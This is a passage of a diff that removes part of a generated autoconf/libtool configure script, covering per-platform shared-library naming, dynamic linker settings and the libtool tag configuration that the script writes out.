- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_CXX=
-if test -n "$hardcode_libdir_flag_spec_CXX" || \
- test -n "$runpath_var_CXX" || \
- test "X$hardcode_automatic_CXX" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_CXX" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, CXX)" != no &&
- test "$hardcode_minus_L_CXX" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_CXX=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_CXX=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_CXX=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_CXX" >&5
-$as_echo "$hardcode_action_CXX" >&6; }
-
-if test "$hardcode_action_CXX" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_CXX \
- CC_CXX \
- LD_CXX \
- lt_prog_compiler_wl_CXX \
- lt_prog_compiler_pic_CXX \
- lt_prog_compiler_static_CXX \
- lt_prog_compiler_no_builtin_flag_CXX \
- export_dynamic_flag_spec_CXX \
- thread_safe_flag_spec_CXX \
- whole_archive_flag_spec_CXX \
- enable_shared_with_static_runtimes_CXX \
- old_archive_cmds_CXX \
- old_archive_from_new_cmds_CXX \
- predep_objects_CXX \
- postdep_objects_CXX \
- predeps_CXX \
- postdeps_CXX \
- compiler_lib_search_path_CXX \
- archive_cmds_CXX \
- archive_expsym_cmds_CXX \
- postinstall_cmds_CXX \
- postuninstall_cmds_CXX \
- old_archive_from_expsyms_cmds_CXX \
- allow_undefined_flag_CXX \
- no_undefined_flag_CXX \
- export_symbols_cmds_CXX \
- hardcode_libdir_flag_spec_CXX \
- hardcode_libdir_flag_spec_ld_CXX \
- hardcode_libdir_separator_CXX \
- hardcode_automatic_CXX \
- module_cmds_CXX \
- module_expsym_cmds_CXX \
- lt_cv_prog_compiler_c_o_CXX \
- exclude_expsyms_CXX \
- include_expsyms_CXX; do
-
- case $var in
- old_archive_cmds_CXX | \
- old_archive_from_new_cmds_CXX | \
- archive_cmds_CXX | \
- archive_expsym_cmds_CXX | \
- module_cmds_CXX | \
- module_expsym_cmds_CXX | \
- old_archive_from_expsyms_cmds_CXX | \
- export_symbols_cmds_CXX | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_CXX
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_CXX
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_CXX
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_CXX
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_CXX
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_CXX
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_CXX
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_CXX
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_CXX
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_CXX
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_CXX
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_CXX
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_CXX
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_CXX
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_CXX
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_CXX
-archive_expsym_cmds=$lt_archive_expsym_cmds_CXX
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_CXX
-module_expsym_cmds=$lt_module_expsym_cmds_CXX
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_CXX
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_CXX
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_CXX
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_CXX
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_CXX
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_CXX
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_CXX
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_CXX
-
-# Whether we should hardcode library paths into libraries.
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-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_CXX
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_CXX
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_CXX
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_CXX
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_CXX
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_CXX
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_CXX
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_CXX
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_CXX"
-
-# Set to yes if exported symbols are required.
